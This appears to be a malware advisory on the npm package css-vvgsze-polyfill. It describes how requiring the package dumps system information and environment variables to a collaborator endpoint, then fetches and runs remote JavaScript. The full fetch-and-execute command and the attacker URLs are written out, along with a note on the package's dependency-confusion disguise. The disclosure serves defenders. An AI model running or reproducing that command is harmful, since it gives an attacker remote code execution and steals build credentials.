MAL-2026-17577 Malicious code in css-vvgsze-polyfill (npm)

thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs id, whoami, env, and ifconfig/ip addr, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The env dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs curl -L https://appsecc.com/js | node, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (thunderboltRegistry, siteAssetsRegistry, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.